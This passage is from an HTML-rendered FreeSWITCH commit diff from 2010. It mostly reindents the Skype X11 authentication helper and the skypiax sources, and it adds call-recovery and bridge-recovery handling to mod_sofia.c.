+        Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
+        unsigned int pos = 0;
+        unsigned int len = strlen(message_P);
+        XEvent e;
</ins><span class="cx">
</span><del>- memset(&e, 0, sizeof(e));
- e.xclient.type = ClientMessage;
- e.xclient.message_type = atom1; /* leading message */
- e.xclient.display = disp;
- e.xclient.window = handle_P;
- e.xclient.format = 8;
</del><ins>+        memset(&e, 0, sizeof(e));
+        e.xclient.type = ClientMessage;
+        e.xclient.message_type = atom1;        /* leading message */
+        e.xclient.display = disp;
+        e.xclient.window = handle_P;
+        e.xclient.format = 8;
</ins><span class="cx">
</span><del>- X11_errors_trap();
- do {
- unsigned int i;
- for (i = 0; i < 20 && i + pos <= len; ++i)
- e.xclient.data.b[i] = message_P[i + pos];
- XSendEvent(disp, w_P, False, 0, &e);
</del><ins>+        X11_errors_trap();
+        do {
+                unsigned int i;
+                for (i = 0; i < 20 && i + pos <= len; ++i)
+                        e.xclient.data.b[i] = message_P[i + pos];
+                XSendEvent(disp, w_P, False, 0, &e);
</ins><span class="cx">
</span><del>- e.xclient.message_type = atom2; /* following messages */
- pos += i;
- } while (pos <= len);
</del><ins>+                e.xclient.message_type = atom2;        /* following messages */
+                pos += i;
+        } while (pos <= len);
</ins><span class="cx">
</span><del>- XSync(disp, False);
- ok = X11_errors_untrap();
</del><ins>+        XSync(disp, False);
+        ok = X11_errors_untrap();
</ins><span class="cx">
</span><del>- if (!ok)
- printf("Sending message failed with status %d\n", xerror);
</del><ins>+        if (!ok)
+                printf("Sending message failed with status %d\n", xerror);
</ins><span class="cx">
</span><del>- return 1;
</del><ins>+        return 1;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
</span><span class="cx"> {
</span><del>- Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
</del><ins>+        Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
</ins><span class="cx">
</span><del>- Atom type_ret;
- int format_ret;
- unsigned long nitems_ret;
- unsigned long bytes_after_ret;
- unsigned char *prop;
- int status;
</del><ins>+        Atom type_ret;
+        int format_ret;
+        unsigned long nitems_ret;
+        unsigned long bytes_after_ret;
+        unsigned char *prop;
+        int status;
</ins><span class="cx">
</span><del>- X11_errors_trap();
- status =
- XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
- skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
- &nitems_ret, &bytes_after_ret, &prop);
</del><ins>+        X11_errors_trap();
+        status =
+                XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
+                                                 skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
</ins><span class="cx">
</span><del>- X11_errors_untrap();
- /* sanity check */
- if (status != Success || format_ret != 32 || nitems_ret != 1) {
- SkypiaxHandles->skype_win = (Window) - 1;
- printf("Skype instance not found on display '%s'\n", dispname);
- return 0;
- }
</del><ins>+        X11_errors_untrap();
+        /* sanity check */
+        if (status != Success || format_ret != 32 || nitems_ret != 1) {
+                SkypiaxHandles->skype_win = (Window) - 1;
+                printf("Skype instance not found on display '%s'\n", dispname);
+                return 0;
+        }
</ins><span class="cx">
</span><del>- SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
- printf("Skype instance found on display '%s', with id #%d\n", dispname,
- (unsigned int) SkypiaxHandles->skype_win);
- return 1;
</del><ins>+        SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
+        printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
+        return 1;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> void skypiax_clean_disp(void *data)
</span><span class="cx"> {
</span><span class="cx">
</span><del>- int *dispptr;
- int disp;
</del><ins>+        int *dispptr;
+        int disp;
</ins><span class="cx">
</span><del>- dispptr = data;
- disp = *dispptr;
</del><ins>+        dispptr = data;
+        disp = *dispptr;
</ins><span class="cx">
</span><del>- if (disp) {
- close(disp);
- } else {
- }
- usleep(1000);
</del><ins>+        if (disp) {
+                close(disp);
+        } else {
+        }
+        usleep(1000);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int main(int argc, char *argv[])
</span><span class="cx"> {
</span><span class="cx">
</span><del>- struct SkypiaxHandles SkypiaxHandles;
- char buf[512];
- Display *disp = NULL;
- Window root = -1;
- Window win = -1;
</del><ins>+        struct SkypiaxHandles SkypiaxHandles;
+        char buf[512];
+        Display *disp = NULL;
+        Window root = -1;
+        Window win = -1;
</ins><span class="cx">
</span><del>- if (argc == 2)
- dispname = argv[1];
- else
- dispname = ":0.0";
</del><ins>+        if (argc == 2)
+                dispname = argv[1];
+        else
+                dispname = ":0.0";
</ins><span class="cx">
</span><del>- disp = XOpenDisplay(dispname);
- if (!disp) {
- printf("Cannot open X Display '%s', exiting\n", dispname);
- return -1;
- }
</del><ins>+        disp = XOpenDisplay(dispname);
+        if (!disp) {
+                printf("Cannot open X Display '%s', exiting\n", dispname);
+                return -1;
+        }
</ins><span class="cx">
</span><del>- int xfd;
- xfd = XConnectionNumber(disp);
</del><ins>+        int xfd;
+        xfd = XConnectionNumber(disp);
</ins><span class="cx">
</span><del>- SkypiaxHandles.disp = disp;
</del><ins>+        SkypiaxHandles.disp = disp;
</ins><span class="cx">
</span><del>- if (skypiax_present(&SkypiaxHandles)) {
- root = DefaultRootWindow(disp);
- win =
- XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
- BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
- DefaultScreen
- (disp)));
</del><ins>+        if (skypiax_present(&SkypiaxHandles)) {
+                root = DefaultRootWindow(disp);
+                win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
</ins><span class="cx">
</span><del>- SkypiaxHandles.win = win;
</del><ins>+                SkypiaxHandles.win = win;
</ins><span class="cx">
</span><del>- snprintf(buf, 512, "NAME skypiax");
</del><ins>+                snprintf(buf, 512, "NAME skypiax");
</ins><span class="cx">
</span><del>- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
</del><ins>+                if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+                        printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+                        return -1;
+                }
</ins><span class="cx">
</span><del>- snprintf(buf, 512, "PROTOCOL 6");
- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
</del><ins>+                snprintf(buf, 512, "PROTOCOL 6");
+                if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+                        printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+                        return -1;
+                }
</ins><span class="cx">
</span><del>- /* perform an events loop */
- XEvent an_event;
- char buf[21]; /* can't be longer */
- char buffer[17000];
- char *b;
- int i;
</del><ins>+                /* perform an events loop */
+                XEvent an_event;
+                char buf[21];                        /* can't be longer */
+                char buffer[17000];
+                char *b;
+                int i;
</ins><span class="cx">
</span><del>- b = buffer;
</del><ins>+                b = buffer;
</ins><span class="cx">
</span><del>- while (1) {
- XNextEvent(disp, &an_event);
- switch (an_event.type) {
- case ClientMessage:
</del><ins>+                while (1) {
+                        XNextEvent(disp, &an_event);
+                        switch (an_event.type) {
+                        case ClientMessage:
</ins><span class="cx">
</span><del>- if (an_event.xclient.format != 8)
- break;
</del><ins>+                                if (an_event.xclient.format != 8)
+                                        break;
</ins><span class="cx">
</span><del>- for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
- buf[i] = an_event.xclient.data.b[i];
</del><ins>+                                for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
+                                        buf[i] = an_event.xclient.data.b[i];
</ins><span class="cx">
</span><del>- buf[i] = '\0';
</del><ins>+                                buf[i] = '\0';
</ins><span class="cx">
</span><del>- strcat(buffer, buf);
</del><ins>+                                strcat(buffer, buf);
</ins><span class="cx">
</span><del>- if (i < 20) { /* last fragment */
- unsigned int howmany;
</del><ins>+                                if (i < 20) {        /* last fragment */
+                                        unsigned int howmany;
</ins><span class="cx">
</span><del>- howmany = strlen(b) + 1;
</del><ins>+                                        howmany = strlen(b) + 1;
</ins><span class="cx">
</span><del>- printf("RECEIVED==> %s\n", b);
- memset(buffer, '\0', 17000);
- }
</del><ins>+                                        printf("RECEIVED==> %s\n", b);
+                                        memset(buffer, '\0', 17000);
+                                }
</ins><span class="cx">
</span><del>- break;
- default:
- break;
- }
- }
- } else {
- printf
- ("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
- dispname);
- return -1;
- }
- return 0;
</del><ins>+                                break;
+                        default:
+                                break;
+                        }
+                }
+        } else {
+                printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n", dispname);
+                return -1;
+        }
+        return 0;
</ins><span class="cx">
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxmod_skypiaxc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -719,7 +719,7 @@
</span><span class="cx">                                 DEBUGA_SKYPE("CHANNEL READ CONTINUE\n", SKYPIAX_P_LOG);
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-        switch_core_timer_check(&tech_pvt->timer_read, SWITCH_TRUE);
</del><ins>+                        switch_core_timer_check(&tech_pvt->timer_read, SWITCH_TRUE);
</ins><span class="cx">                         *frame = &tech_pvt->read_frame;
</span><span class="cx"> #if SWITCH_BYTE_ORDER == __BIG_ENDIAN
</span><span class="cx">                         if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxskypiax_protocolc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1101,7 +1101,7 @@
</span><span class="cx">                                                                 /* send the 16khz frame to the Skype client waiting for incoming audio to be sent to the remote party */
</span><span class="cx">                                                                 if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
</span><span class="cx">                                                                         len = send(fd, (char *) cli_out, got, 0);
</span><del>-                                                                        //skypiax_sleep(5000);        //5 msec
</del><ins>+                                                                        //skypiax_sleep(5000); //5 msec
</ins><span class="cx">
</span><span class="cx">                                                                         if (len == -1) {
</span><span class="cx">                                                                                 break;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiamod_sofiac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -85,7 +85,7 @@
</span><span class="cx">                 sofia_glue_tech_absorb_sdp(tech_pvt);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (sofia_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
</del><ins>+        if (sofia_test_flag(tech_pvt, TFLAG_OUTBOUND) || sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
</ins><span class="cx">                 const char *var;
</span><span class="cx">
</span><span class="cx">                 if ((var = switch_channel_get_variable(channel, SOFIA_SECURE_MEDIA_VARIABLE)) && !zstr(var)) {
</span><span class="lines">@@ -107,12 +107,20 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        /* Move channel's state machine to ROUTING */
-        switch_channel_set_state(channel, CS_ROUTING);
-        assert(switch_channel_get_state(channel) != CS_INIT);
</del><span class="cx">
</span><del>- end:
</del><span class="cx">
</span><ins>+        if (!sofia_test_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE)) {
+                if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
+                        switch_channel_set_state(channel, CS_EXECUTE);
+                } else {
+                        /* Move channel's state machine to ROUTING */
+                        switch_channel_set_state(channel, CS_ROUTING);
+                        assert(switch_channel_get_state(channel) != CS_INIT);
+                }
+        }
+
+ end:
+
</ins><span class="cx">         switch_mutex_unlock(tech_pvt->sofia_mutex);
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -129,7 +137,8 @@
</span><span class="cx">                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA ROUTING\n", switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA ROUTING\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -146,8 +155,40 @@
</span><span class="cx">                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA RESET\n", switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA RESET\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">
</span><ins>+
+        if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE)) {
+                switch_core_session_t *other_session;
+                const char *uuid = switch_core_session_get_uuid(session);
+
+                if (switch_channel_test_flag(channel, CF_BRIDGE_ORIGINATOR)) {
+                        const char *other_uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
+
+                        if (other_uuid && (other_session = switch_core_session_locate(other_uuid))) {
+                                switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
+
+                                switch_channel_clear_flag(channel, CF_BRIDGE_ORIGINATOR);
+                                switch_channel_wait_for_state_timeout(other_channel, CS_RESET, 5000);
+                                switch_channel_wait_for_flag(channel, CF_REQ_MEDIA, SWITCH_FALSE, 10000, NULL);
+                                switch_channel_wait_for_flag(channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
+                                switch_channel_wait_for_flag(other_channel, CF_REQ_MEDIA, SWITCH_FALSE, 10000, NULL);
+                                switch_channel_wait_for_flag(other_channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
+
+                                if (switch_channel_test_flag(channel, CF_PROXY_MODE) && switch_channel_test_flag(other_channel, CF_PROXY_MODE)) {
+                                        switch_ivr_signal_bridge(session, other_session);
+                                } else {
+                                        switch_ivr_uuid_bridge(uuid, other_uuid);
+                                }
+                                switch_core_session_rwunlock(other_session);
+                        }
+                }
+
+                sofia_clear_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE);
+        }
+
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -163,8 +204,10 @@
</span><span class="cx">                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA HIBERNATE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA HIBERNATE\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">
</span><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -174,16 +217,19 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><span class="cx">
</span><ins>+        sofia_clear_flag(tech_pvt, TFLAG_RECOVERING);
+
</ins><span class="cx">         if (!sofia_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
</span><span class="cx">                 sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
</span><span class="cx">                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">         }
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA EXECUTE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA EXECUTE\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-char *generate_pai_str(switch_core_session_t *session)
</del><ins>+char *generate_pai_str(switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
</span><span class="cx">         const char *callee_name = NULL, *callee_number = NULL;
</span><span class="lines">@@ -194,7 +240,7 @@
</span><span class="cx">                 zstr((callee_name = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_name")))) {
</span><span class="cx">                 callee_name = switch_channel_get_variable(tech_pvt->channel, "callee_id_name");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr((callee_number = switch_channel_get_variable(tech_pvt->channel, "effective_callee_id_number"))) &&
</span><span class="cx">                 zstr((callee_number = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_number")))) {
</span><span class="cx">                 callee_number = tech_pvt->caller_profile->destination_number;
</span><span class="lines">@@ -210,17 +256,16 @@
</span><span class="cx">         if (!zstr(callee_number) && (zstr(ua) || !switch_stristr("polycom", ua))) {
</span><span class="cx">                 callee_number = switch_core_session_sprintf(session, "sip:%s@%s", callee_number, tech_pvt->profile->sipip);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         header = (tech_pvt->cid_type == CID_TYPE_RPID && !switch_stristr("aastra", ua)) ? "Remote-Party-ID" : "P-Asserted-Identity";
</span><span class="cx">
</span><span class="cx">         if (!zstr(callee_name) && !zstr(callee_number)) {
</span><span class="cx">                 if (switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote)) {
</span><span class="cx">                         pai = switch_core_session_sprintf(tech_pvt->session, "%s: \"%s\" <%s>\n"
</span><del>-                                                                                         "X-FS-Display-Name: %s\nX-FS-Display-Number: %s\n",
</del><ins>+                                                                                         "X-FS-Display-Name: %s\nX-FS-Display-Number: %s\n",
</ins><span class="cx">                                                                                          header, callee_name, callee_number, callee_name, callee_number);
</span><span class="cx">                 } else {
</span><del>-                        pai = switch_core_session_sprintf(tech_pvt->session, "%s: \"%s\" <%s>\n",
-                                                                                         header, callee_name, callee_number);
</del><ins>+                        pai = switch_core_session_sprintf(tech_pvt->session, "%s: \"%s\" <%s>\n", header, callee_name, callee_number);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">         }
</span><span class="lines">@@ -296,7 +341,7 @@
</span><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->read_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->read_codec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->write_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->write_codec);
</span><span class="cx">                 }
</span><span class="lines">@@ -304,7 +349,7 @@
</span><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->video_read_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->video_read_codec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&tech_pvt->video_write_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&tech_pvt->video_write_codec);
</span><span class="cx">                 }
</span><span class="lines">@@ -334,6 +379,9 @@
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(tech_pvt->sofia_mutex);
</span><span class="cx">
</span><ins>+        sofia_clear_flag(tech_pvt, TFLAG_RECOVERING);
+        sofia_glue_tech_untrack(tech_pvt->profile, session, SWITCH_TRUE);
+
</ins><span class="cx">         if (!switch_channel_test_flag(channel, CF_ANSWERED)) {
</span><span class="cx">                 if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                         tech_pvt->profile->ob_failed_calls++;
</span><span class="lines">@@ -377,7 +425,7 @@
</span><span class="cx">         if (tech_pvt->nh && !sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><span class="cx">                 char reason[128] = "";
</span><span class="cx">                 char *bye_headers = sofia_glue_get_extra_headers(channel, SOFIA_SIP_BYE_HEADER_PREFIX);
</span><del>-                const char* val = NULL;
</del><ins>+                const char *val = NULL;
</ins><span class="cx">
</span><span class="cx">                 val = switch_channel_get_variable(tech_pvt->channel, "disable_q850_reason");
</span><span class="cx">                 if (!val || switch_true(val)) {
</span><span class="lines">@@ -386,10 +434,7 @@
</span><span class="cx">                         } else if (cause == SWITCH_CAUSE_PICKED_OFF || cause == SWITCH_CAUSE_LOSE_RACE) {
</span><span class="cx">                                 switch_snprintf(reason, sizeof(reason), "SIP;cause=200;text=\"Call completed elsewhere\"");
</span><span class="cx">                         } else {
</span><del>-                                switch_snprintf(reason, sizeof(reason), "%s;cause=%d;text=\"%s\"",
-                                                tech_pvt->profile->username,
-                                                cause,
-                                                switch_channel_cause2str(cause));
</del><ins>+                                switch_snprintf(reason, sizeof(reason), "%s;cause=%d;text=\"%s\"", tech_pvt->profile->username, cause, switch_channel_cause2str(cause));
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -401,12 +446,11 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Sending BYE to %s\n", switch_channel_get_name(channel));
</span><span class="cx">                         if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><del>-                                nua_bye(tech_pvt->nh,
</del><ins>+                                nua_bye(tech_pvt->nh,
</ins><span class="cx">                                                 TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
</span><span class="cx">                                                 TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                 TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
</span><del>-                                                TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-                                                TAG_END());
</del><ins>+                                                TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)), TAG_END());
</ins><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><span class="lines">@@ -415,10 +459,8 @@
</span><span class="cx">                                         switch_channel_set_variable(channel, "sip_hangup_disposition", "send_cancel");
</span><span class="cx">                                 }
</span><span class="cx">                                 if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><del>-                                        nua_cancel(tech_pvt->nh,
-                                                         TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
-                                                         TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-                                                         TAG_END());
</del><ins>+                                        nua_cancel(tech_pvt->nh,
+                                                         TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)), TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Responding to INVITE with: %d\n", sip_cause);
</span><span class="lines">@@ -426,11 +468,9 @@
</span><span class="cx">                                         switch_channel_set_variable(channel, "sip_hangup_disposition", "send_refuse");
</span><span class="cx">                                 }
</span><span class="cx">                                 if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><del>-                                        nua_respond(tech_pvt->nh, sip_cause, sip_status_phrase(sip_cause),
-                                                         TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
-                                                                SIPTAG_HEADER_STR(generate_pai_str(session)),
-                                                                TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
-                                                                TAG_END());
</del><ins>+                                        nua_respond(tech_pvt->nh, sip_cause, sip_status_phrase(sip_cause),
+                                                                TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
+                                                                SIPTAG_HEADER_STR(generate_pai_str(session)), TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -444,8 +484,8 @@
</span><span class="cx">         if (tech_pvt->sofia_private) {
</span><span class="cx">                 *tech_pvt->sofia_private->uuid = '\0';
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         sofia_glue_set_rtp_stats(tech_pvt);
</span><span class="cx">
</span><span class="cx">         switch_mutex_unlock(tech_pvt->sofia_mutex);
</span><span class="lines">@@ -455,13 +495,13 @@
</span><span class="cx">
</span><span class="cx"> static switch_status_t sofia_on_exchange_media(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SOFIA LOOPBACK\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SOFIA EXCHANGE_MEDIA\n");
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t sofia_on_soft_execute(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SOFIA TRANSMIT\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SOFIA SOFT_EXECUTE\n");
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -503,7 +543,7 @@
</span><span class="cx">                         tech_pvt->local_sdp_str = NULL;
</span><span class="cx">                         sofia_glue_tech_choose_port(tech_pvt, 0);
</span><span class="cx">                         sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /* Send the 200 OK */
</span><span class="cx">                         if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><span class="cx">                                 char *extra_headers = sofia_glue_get_extra_headers(channel, SOFIA_SIP_RESPONSE_HEADER_PREFIX);
</span><span class="lines">@@ -513,11 +553,10 @@
</span><span class="cx">                                                                 SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
</span><span class="cx">                                                                 TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                                 SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
</del><ins>+                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
</ins><span class="cx">                                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
